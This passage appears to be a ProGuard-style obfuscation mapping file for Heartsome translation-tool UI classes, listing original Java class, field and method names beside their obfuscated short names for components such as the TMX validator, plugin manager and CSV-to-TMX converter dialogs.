unreadBuffer(org.eclipse.jface.text.rules.ICharacterScanner) -> unreadBuffer +net.heartsome.cat.ts.ui.innertag.tagstyle.InnerTagScanner -> net.heartsome.cat.ts.ui.innertag.tagstyle.InnerTagScanner: + org.eclipse.jface.text.rules.Token tagContentToken -> Gk + void initialize() -> initialize + void updateToken() -> hm + org.eclipse.swt.graphics.TextStyle createTextStyle() -> hn + org.eclipse.jface.text.rules.IRule createInnerTagRule() -> ho +net.heartsome.cat.ts.ui.innertag.tagstyle.InnerTagScanner$InnerTagDetector -> net.heartsome.cat.ts.ui.innertag.tagstyle.InnerTagScanner$InnerTagDetector: + net.heartsome.cat.ts.ui.innertag.tagstyle.InnerTagScanner this$0 -> Gl + boolean isWordStart(char) -> isWordStart + boolean isWordPart(char) -> isWordPart +net.heartsome.cat.ts.ui.innertag.tagstyle.PresentationRepairer -> net.heartsome.cat.ts.ui.innertag.tagstyle.PresentationRepairer: + org.eclipse.jface.text.IDocument fDocument -> fDocument + org.eclipse.jface.text.rules.ITokenScanner fScanner -> fScanner + org.eclipse.swt.graphics.TextStyle fDefaultTextStyle -> Gm + net.heartsome.cat.ts.ui.innertag.ISegmentViewer fViewer -> Gn + void setDocument(org.eclipse.jface.text.IDocument) -> setDocument + void createPresentation(org.eclipse.jface.text.TextPresentation,org.eclipse.jface.text.ITypedRegion) -> createPresentation + org.eclipse.swt.graphics.TextStyle getTokenTextStyle(org.eclipse.jface.text.rules.IToken) -> a + void addRange(org.eclipse.jface.text.TextPresentation,int,int,org.eclipse.swt.graphics.TextStyle) -> a +net.heartsome.cat.ts.ui.innertag.tagstyle.TagStyleConfigurator -> net.heartsome.cat.ts.ui.innertag.tagstyle.TagStyleConfigurator: + void configure(org.eclipse.swt.graphics.TextLayout) -> configure + void configure(net.heartsome.cat.ts.ui.innertag.ISegmentViewer) -> configure + org.eclipse.jface.text.presentation.IPresentationReconciler getPresentationReconciler(net.heartsome.cat.ts.ui.innertag.ISegmentViewer) -> a + org.eclipse.jface.text.rules.ITokenScanner getRecipeScanner(org.eclipse.jface.text.IDocument) -> a +net.heartsome.cat.ts.ui.jaret.renderer.ImageCellRender -> net.heartsome.cat.ts.ui.jaret.renderer.ImageCellRender: + java.util.Map keyMap -> Go + org.eclipse.jface.resource.ImageRegistry imageRegistry -> Gp + void addImageDescriptorMapping(java.lang.Object,java.lang.String,org.eclipse.jface.resource.ImageDescriptor) -> addImageDescriptorMapping + void addRessourceNameMapping(java.lang.Object,java.lang.String,java.lang.String) -> addRessourceNameMapping + void draw(org.eclipse.swt.graphics.GC,de.jaret.util.ui.table.JaretTable,de.jaret.util.ui.table.renderer.ICellStyle,org.eclipse.swt.graphics.Rectangle,de.jaret.util.ui.table.model.IRow,de.jaret.util.ui.table.model.IColumn,boolean,boolean,boolean) -> draw + org.eclipse.jface.resource.ImageRegistry getImageRegistry() -> getImageRegistry + de.jaret.util.ui.table.renderer.ICellRenderer createPrintRenderer(org.eclipse.swt.printing.Printer) -> createPrintRenderer + void dispose() -> dispose +net.heartsome.cat.ts.ui.jaret.renderer.StyleTextCellRenderer -> net.heartsome.cat.ts.ui.jaret.renderer.StyleTextCellRenderer: + org.eclipse.swt.graphics.TextLayout textLayout -> pj + java.lang.String strStyleText -> Gq + boolean blnIsCaseSensitive -> pl + boolean blnIsApplyRegular -> pm + org.eclipse.swt.graphics.TextStyle style -> pn + void dispose() -> dispose + void draw(org.eclipse.swt.graphics.GC,de.jaret.util.ui.table.JaretTable,de.jaret.util.ui.table.renderer.ICellStyle,org.eclipse.swt.graphics.Rectangle,de.jaret.util.ui.table.model.IRow,de.jaret.util.ui.table.model.IColumn,boolean,boolean,boolean) -> draw + org.eclipse.swt.graphics.TextLayout access$0(net.heartsome.cat.ts.ui.jaret.renderer.StyleTextCellRenderer) -> a +net.heartsome.cat.ts.ui.jaret.renderer.StyleTextCellRenderer$1 -> net.heartsome.cat.ts.ui.jaret.renderer.StyleTextCellRenderer$1: + net.heartsome.cat.ts.ui.jaret.renderer.StyleTextCellRenderer this$0 -> Gr + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.plugin.AboutComposite -> net.heartsome.cat.ts.ui.plugin.AboutComposite: + org.eclipse.swt.widgets.Composite parent -> parent + java.lang.String name -> name + java.lang.String imagePath -> B + java.lang.String version -> version + org.eclipse.swt.graphics.Cursor cursorHand -> Gs + void init() -> init + org.eclipse.swt.graphics.Cursor access$0(net.heartsome.cat.ts.ui.plugin.AboutComposite) -> a +net.heartsome.cat.ts.ui.plugin.AboutComposite$1 -> net.heartsome.cat.ts.ui.plugin.AboutComposite$1: + net.heartsome.cat.ts.ui.plugin.AboutComposite this$0 -> Gt + void widgetDisposed(org.eclipse.swt.events.DisposeEvent) -> widgetDisposed +net.heartsome.cat.ts.ui.plugin.AboutComposite$2 -> net.heartsome.cat.ts.ui.plugin.AboutComposite$2: + net.heartsome.cat.ts.ui.plugin.AboutComposite this$0 -> Gt + void mouseUp(org.eclipse.swt.events.MouseEvent) -> mouseUp + void mouseDown(org.eclipse.swt.events.MouseEvent) -> mouseDown + void mouseDoubleClick(org.eclipse.swt.events.MouseEvent) -> mouseDoubleClick +net.heartsome.cat.ts.ui.plugin.Activator -> net.heartsome.cat.ts.ui.plugin.Activator: + java.lang.String PLUGIN_ID -> PLUGIN_ID + net.heartsome.cat.ts.ui.plugin.Activator plugin -> Gu + void start(org.osgi.framework.BundleContext) -> start + void stop(org.osgi.framework.BundleContext) -> stop + net.heartsome.cat.ts.ui.plugin.Activator getDefault() -> getDefault + org.eclipse.jface.resource.ImageDescriptor getImageDescriptor(java.lang.String) -> getImageDescriptor +net.heartsome.cat.ts.ui.plugin.ColProperties -> net.heartsome.cat.ts.ui.plugin.ColProperties: + java.lang.String colName -> Gv + java.lang.String level -> level + java.lang.String language -> language + java.lang.String propName -> propName + java.lang.String propType -> propType + java.lang.String noteName -> noteName + java.lang.String descripName -> descripName + java.lang.String termNoteName -> termNoteName + java.lang.String termName -> termName + java.lang.String conceptLevel -> conceptLevel + java.lang.String langLevel -> langLevel + void setColumnType(java.lang.String,java.lang.String,java.lang.String,java.lang.String) -> setColumnType + java.lang.String getLanguage() -> getLanguage + java.lang.String getLevel() -> getLevel + java.lang.String getPropName() -> getPropName + java.lang.String getPropType() -> getPropType + java.lang.String getColName() -> getColName +net.heartsome.cat.ts.ui.plugin.PluginConfigManage -> net.heartsome.cat.ts.ui.plugin.PluginConfigManage: + org.slf4j.Logger LOGGER -> LOGGER + java.lang.String pluginXmlLocation -> Gx + org.eclipse.jface.action.MenuManager parentManager -> Gy + org.eclipse.swt.widgets.Shell shell -> shell + java.lang.String buildXpath(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> buildXpath + java.lang.String buildPluginData(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> buildPluginData + java.util.List getPluginCofigData() -> getPluginCofigData + void addPluginMenu(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> addPluginMenu + void deletePluginMenu(java.lang.String) -> deletePluginMenu + void updataPluginMenu(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> updataPluginMenu + void executePlugin(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> executePlugin + void sendSegment(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean,net.heartsome.cat.ts.core.file.XLFHandler,java.lang.String) -> sendSegment + void sendDocument(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean,org.eclipse.core.resources.IFile) -> sendDocument + java.lang.String runPlugin(net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean) -> runPlugin +net.heartsome.cat.ts.ui.plugin.PluginConfigManage$1 -> net.heartsome.cat.ts.ui.plugin.PluginConfigManage$1: + net.heartsome.cat.ts.ui.plugin.PluginConfigManage this$0 -> Gz + net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean val$bean -> GA + void run() -> run +net.heartsome.cat.ts.ui.plugin.PluginConstants -> net.heartsome.cat.ts.ui.plugin.PluginConstants: + java.lang.String PLUGIN_COPY_RIGHT -> PLUGIN_COPY_RIGHT + java.lang.String PLUGIN_WEB_SITE -> PLUGIN_WEB_SITE + java.lang.String LOGO_XSL_PATH -> LOGO_XSL_PATH + java.lang.String LOGO_XSL_MENU_PATH -> LOGO_XSL_MENU_PATH + java.lang.String LOGO_TBXMAKER_PATH -> LOGO_TBXMAKER_PATH + java.lang.String LOGO_TBXMAKER_MENU_PATH -> LOGO_TBXMAKER_MENU_PATH + java.lang.String PIC_OPEN_CSV_PATH -> PIC_OPEN_CSV_PATH + java.lang.String PIC_EXPORT_TBX_PATH -> PIC_EXPORT_TBX_PATH + java.lang.String PIC_DELETE_COLUMN_PATH -> PIC_DELETE_COLUMN_PATH + java.lang.String PIC_SET_COLUMN_PATH -> PIC_SET_COLUMN_PATH + java.lang.String PIC_HELP_PATH -> PIC_HELP_PATH + java.lang.String PC_pluginConfigLocation -> PC_pluginConfigLocation + java.lang.String LOGO_CSV2TMX_PATH -> LOGO_CSV2TMX_PATH + java.lang.String LOGO_CSV2TMX_MENU_PATH -> LOGO_CSV2TMX_MENU_PATH + java.lang.String CSV2TMX_VERSION -> CSV2TMX_VERSION + java.lang.String DOCUMENT -> DOCUMENT + java.lang.String SEGMENT -> SEGMENT + java.lang.String EXCHANGEFILE -> EXCHANGEFILE + java.lang.String NONE -> NONE + java.lang.String LOGO_MARTIF2TBX_PATH -> LOGO_MARTIF2TBX_PATH + java.lang.String LOGO_MARTIF2TBX_MENU_PATH -> LOGO_MARTIF2TBX_MENU_PATH + java.lang.String LOGO_PROERTIESVIEWER_PATH -> LOGO_PROERTIESVIEWER_PATH + java.lang.String LOGO_PROERTIESVIEWER_MENU_PATH -> LOGO_PROERTIESVIEWER_MENU_PATH + java.lang.String LOGO_RTFCLEANER_PATH -> LOGO_RTFCLEANER_PATH + java.lang.String LOGO_RTFCLEANER_MENU_PATH -> LOGO_RTFCLEANER_MENU_PATH + java.lang.String LOGO_TMX2TXTCONVERTER_PATH -> LOGO_TMX2TXTCONVERTER_PATH + java.lang.String LOGO_TMX2TXTCONVERTER_MENU_PATH -> LOGO_TMX2TXTCONVERTER_MENU_PATH + java.lang.String LOGO_TMXVALIDATOR_PATH -> LOGO_TMXVALIDATOR_PATH + java.lang.String LOGO_TMXVALIDATOR_MENU_PATH -> LOGO_TMXVALIDATOR_MENU_PATH + java.lang.String PIC_clearChar_PATH -> PIC_clearChar_PATH + java.lang.String HELP_TOC_CLOSED -> HELP_TOC_CLOSED + java.lang.String HELP_TOC_OPEN -> HELP_TOC_OPEN + java.lang.String HELP_BOOK_CLOSED -> HELP_BOOK_CLOSED + java.lang.String HELP_BOOK_OPEN -> HELP_BOOK_OPEN + java.lang.String HELP_OPEN_FILE -> HELP_OPEN_FILE + java.lang.String HELP_BACK -> HELP_BACK + java.lang.String HELP_FORWARD -> HELP_FORWARD + java.lang.String HELP_FIND -> HELP_FIND + java.lang.String HELP_TOPIC -> HELP_TOPIC + java.lang.String HELP_SPLASH -> HELP_SPLASH +net.heartsome.cat.ts.ui.plugin.TMXValidator -> net.heartsome.cat.ts.ui.plugin.TMXValidator: + org.slf4j.Logger LOGGER -> LOGGER + java.util.Map vnMap -> GB + org.eclipse.swt.graphics.Color red -> GC + java.lang.String version -> version + java.util.Hashtable languages -> GD + java.util.Hashtable countries -> bY + java.util.Hashtable tuids -> GE + int balance -> GF + java.util.Hashtable ids -> GG + void validate(java.lang.String,org.eclipse.swt.custom.StyledText) -> validate + boolean parseXML(java.lang.String) -> dw + boolean validTmxRoot(java.lang.String) -> dx + java.lang.String getAttribute(java.lang.String,java.lang.String,java.lang.String) -> i + java.lang.String getAttribute(com.ximpleware.VTDNav,java.lang.String,java.lang.String) -> a + java.io.File createTmpFile(java.lang.String) -> createTmpFile + void validSrcLanguage(java.lang.String,java.lang.String) -> J + void recurse(java.lang.String) -> dy + void checkAttribute(java.util.Map,net.heartsome.xml.vtdimpl.VTDUtils) -> a + java.util.Map getAllAttributes(com.ximpleware.VTDNav) -> a + boolean save(com.ximpleware.XMLModifier,java.io.File) -> b + boolean checkDate(java.lang.String) -> dz + boolean checkLang(java.lang.String) -> dA + boolean isAlpha(char) -> isAlpha +net.heartsome.cat.ts.ui.plugin.TableViewerLabelProvider -> net.heartsome.cat.ts.ui.plugin.TableViewerLabelProvider: + org.eclipse.swt.graphics.Image getColumnImage(java.lang.Object,int) -> getColumnImage + java.lang.String getColumnText(java.lang.Object,int) -> getColumnText +net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean -> net.heartsome.cat.ts.ui.plugin.bean.PluginConfigBean: + java.lang.String id -> id + java.lang.String name -> name + java.lang.String commandLine -> GH + java.lang.String output -> GI + java.lang.String input -> input + java.lang.String shortcutKey -> GJ + java.lang.String outputPath -> GK + java.lang.String getName() -> getName + void setName(java.lang.String) -> setName + java.lang.String getCommandLine() -> getCommandLine + void setCommandLine(java.lang.String) -> setCommandLine + java.lang.String getOutput() -> getOutput + void setOutput(java.lang.String) -> setOutput + java.lang.String getInput() -> getInput + void setInput(java.lang.String) -> setInput + java.lang.String getShortcutKey() -> getShortcutKey + void setShortcutKey(java.lang.String) -> setShortcutKey + java.lang.String getOutputPath() -> getOutputPath + void setOutputPath(java.lang.String) -> setOutputPath + java.lang.String getId() -> getId + void setId(java.lang.String) -> setId + boolean equals(java.lang.Object) -> equals +net.heartsome.cat.ts.ui.plugin.dialog.AboutDialog -> net.heartsome.cat.ts.ui.plugin.dialog.a: + java.lang.String name -> name + java.lang.String imagePath -> B + java.lang.String version -> version + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog -> net.heartsome.cat.ts.ui.plugin.dialog.b: + org.slf4j.Logger LOGGER -> LOGGER + org.eclipse.swt.widgets.Table table -> table + org.eclipse.swt.widgets.Label lblRowCount -> GL + org.eclipse.swt.widgets.Label lblColCount -> GM + java.lang.String imagePath -> B + java.lang.String csvPath -> GN + java.lang.String colSeparator -> GO + java.lang.String textDelimiter -> GP + java.lang.String encoding -> encoding + int cols -> GQ + int rows -> rows + java.io.FileOutputStream output -> dR + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createMenu() -> createMenu + void createToolBar(org.eclipse.swt.widgets.Composite) -> y + void displayHelp() -> displayHelp + void openFile() -> openFile + void export() -> export + void removeColumn() -> hp + void selectLanguage() -> hq + void fillTable() -> hr + java.lang.String createId() -> hs + void createItems(java.lang.String) -> dB + int maxColumns() -> ht + int countColumns(java.lang.String) -> dC + void writeString(java.lang.String) -> writeString + void createLabel(org.eclipse.swt.widgets.Composite,java.lang.String) -> a + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + java.lang.String access$0(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog) -> a + void access$1(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog,org.eclipse.swt.widgets.Composite,java.lang.String) -> a + void access$2(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog) -> b + void access$3(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog) -> c + void access$4(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog) -> d + void access$5(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog) -> e + void access$6(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog) -> f +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.c: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$10 -> net.heartsome.cat.ts.ui.plugin.dialog.d: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$11 -> net.heartsome.cat.ts.ui.plugin.dialog.e: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$12 -> net.heartsome.cat.ts.ui.plugin.dialog.f: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.g: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$3 -> net.heartsome.cat.ts.ui.plugin.dialog.h: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$4 -> net.heartsome.cat.ts.ui.plugin.dialog.i: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$5 -> net.heartsome.cat.ts.ui.plugin.dialog.j: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$6 -> net.heartsome.cat.ts.ui.plugin.dialog.k: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$7 -> net.heartsome.cat.ts.ui.plugin.dialog.l: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$8 -> net.heartsome.cat.ts.ui.plugin.dialog.m: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$9 -> net.heartsome.cat.ts.ui.plugin.dialog.n: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$ExportDialog -> net.heartsome.cat.ts.ui.plugin.dialog.o: + java.lang.String filePath -> filePath + java.util.Vector languages -> GS + org.eclipse.swt.widgets.Text txtFile -> GT + org.eclipse.swt.widgets.Combo cmbLang -> GU + org.eclipse.swt.widgets.Combo cmbTMXVersion -> GV + java.lang.String lang -> vz + java.lang.String tmxVersion -> GW + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void okPressed() -> okPressed + java.lang.String getLang() -> getLang + void setLang(java.lang.String) -> setLang + java.lang.String getTmxVersion() -> hu + void setTmxVersion(java.lang.String) -> dD + java.lang.String getFilePath() -> getFilePath + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$ExportDialog) -> a + void access$1(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$ExportDialog,java.lang.String) -> a + java.lang.String access$2(net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$ExportDialog) -> b +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$ExportDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.p: + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$ExportDialog this$1 -> GX + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog$LanguageSettingDialog -> net.heartsome.cat.ts.ui.plugin.dialog.q: + java.util.Vector languages -> GS + int size -> size + java.util.Vector resultLang -> GY + org.eclipse.swt.widgets.Combo[] arrCmbLangs -> GZ + net.heartsome.cat.ts.ui.plugin.dialog.CSV2TMXConverterDialog this$0 -> GR + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void okPressed() -> okPressed + java.util.Vector getResultLang() -> hv +net.heartsome.cat.ts.ui.plugin.dialog.CSVSettingDialog -> net.heartsome.cat.ts.ui.plugin.dialog.r: + java.lang.String[] arrColSeparator -> Ha + java.lang.String[] arrTextDelimiter -> Hb + boolean isTBXConverter -> Hc + java.lang.String imgPath -> Hd + java.lang.String[] xcsTemplates -> He + org.eclipse.swt.widgets.Text txtCSV -> Hf + org.eclipse.swt.widgets.Button btnBrowse -> Hg + org.eclipse.swt.widgets.Combo cmbColSeparator -> Hh + org.eclipse.swt.widgets.Combo cmbTextDelimiter -> Hi + org.eclipse.swt.widgets.Combo cmbEncoding -> Hj + org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer cmbLang -> Hk + org.eclipse.swt.widgets.Combo cmbXCSTemplate -> Hl + java.lang.String csvPath -> GN + java.lang.String colSeparator -> GO + java.lang.String textDelimiter -> GP + java.lang.String encoding -> encoding + java.lang.String lang -> vz + java.lang.String xcsTemplate -> Hm + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + void createLabel(org.eclipse.swt.widgets.Composite,java.lang.String) -> a + int indexOf(java.lang.String[],java.lang.String) -> indexOf + void okPressed() -> okPressed + java.lang.String getCsvPath() -> hw + void setCsvPath(java.lang.String) -> dE + java.lang.String getColSeparator() -> hx + void setColSeparator(java.lang.String) -> dF + java.lang.String getTextDelimiter() -> hy + void setTextDelimiter(java.lang.String) -> dG + java.lang.String getEncoding() -> getEncoding + void setEncoding(java.lang.String) -> setEncoding + java.lang.String getLang() -> getLang + void setLang(java.lang.String) -> setLang + java.lang.String getXcsTemplate() -> hz + void setXcsTemplate(java.lang.String) -> dH + org.eclipse.swt.widgets.Text access$0(net.heartsome.cat.ts.ui.plugin.dialog.CSVSettingDialog) -> a +net.heartsome.cat.ts.ui.plugin.dialog.CSVSettingDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.s: + net.heartsome.cat.ts.ui.plugin.dialog.CSVSettingDialog this$0 -> Hn + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.CSVSettingDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.t: + net.heartsome.cat.ts.ui.plugin.dialog.CSVSettingDialog this$0 -> Hn + int compare(net.heartsome.cat.common.locale.Language,net.heartsome.cat.common.locale.Language) -> compare + int compare(java.lang.Object,java.lang.Object) -> compare +net.heartsome.cat.ts.ui.plugin.dialog.ColumnRemoveDialog -> net.heartsome.cat.ts.ui.plugin.dialog.u: + java.util.Vector allColumnVector -> Ho + java.util.Vector columnVector -> Hp + java.lang.String imgPath -> Hd + org.eclipse.swt.widgets.List listColumn -> Hq + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + boolean isResizable() -> isResizable + void okPressed() -> okPressed + java.util.Vector getColumnVector() -> hA + void setColumnVector(java.util.Vector) -> f + org.eclipse.swt.widgets.List access$0(net.heartsome.cat.ts.ui.plugin.dialog.ColumnRemoveDialog) -> a +net.heartsome.cat.ts.ui.plugin.dialog.ColumnRemoveDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.v: + net.heartsome.cat.ts.ui.plugin.dialog.ColumnRemoveDialog this$0 -> Hr + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected + void widgetDefaultSelected(org.eclipse.swt.events.SelectionEvent) -> widgetDefaultSelected +net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog -> net.heartsome.cat.ts.ui.plugin.dialog.w: + org.slf4j.Logger LOGGER -> LOGGER + int size -> size + java.util.Vector colTypes -> Hs + java.lang.String imgPath -> Hd + org.eclipse.swt.widgets.Combo[] arrCmbLangs -> GZ + org.eclipse.swt.widgets.Combo[] arrCmbPropsName -> Ht + org.eclipse.swt.widgets.Combo[] arrCmbPropsType -> Hu + org.eclipse.swt.widgets.Combo[] arrCmbPropsLevel -> Hv + java.lang.String[] levelValues -> Hw + java.lang.String[] conceptPropValues -> Hx + java.lang.String[] TranslationPropValues -> Hy + java.lang.String[] conceptPropTypeValues -> Hz + java.lang.String[] termDescripPropTypeValues -> HA + java.lang.String[] termTermNotePropTypeValues -> HB + org.eclipse.swt.widgets.Button btnLoadConfiguration -> HC + org.eclipse.swt.widgets.Button btnSaveConfiguration -> HD + void configureShell(org.eclipse.swt.widgets.Shell) -> configureShell + org.eclipse.swt.widgets.Control createDialogArea(org.eclipse.swt.widgets.Composite) -> createDialogArea + boolean isResizable() -> isResizable + void createButtonsForButtonBar(org.eclipse.swt.widgets.Composite) -> createButtonsForButtonBar + void initListener() -> initListener + void loadPropTypeValue(net.heartsome.cat.ts.ui.plugin.util.TBXTemplateUtil) -> a + java.lang.String[] getUserLangs() -> hB + boolean verifyColProperties() -> hC + void okPressed() -> okPressed + org.eclipse.swt.widgets.Combo[] access$0(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> a + org.eclipse.swt.widgets.Combo[] access$1(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> b + org.eclipse.swt.widgets.Combo[] access$2(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> c + java.lang.String[] access$3(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> d + java.lang.String[] access$4(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> e + org.eclipse.swt.widgets.Combo[] access$5(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> f + java.lang.String[] access$6(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> g + java.lang.String[] access$7(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> h + java.lang.String[] access$8(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> i + java.lang.String[] access$9(net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog) -> j + org.slf4j.Logger access$10() -> hD +net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog$1 -> net.heartsome.cat.ts.ui.plugin.dialog.x: + net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog this$0 -> HE + int val$idx -> HF + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> widgetSelected +net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog$2 -> net.heartsome.cat.ts.ui.plugin.dialog.y: + net.heartsome.cat.ts.ui.plugin.dialog.ColumnTypeDialog this$0 -> HE + int val$idx -> HF + void widgetSelected(org.eclipse.swt.events.SelectionEvent) -> 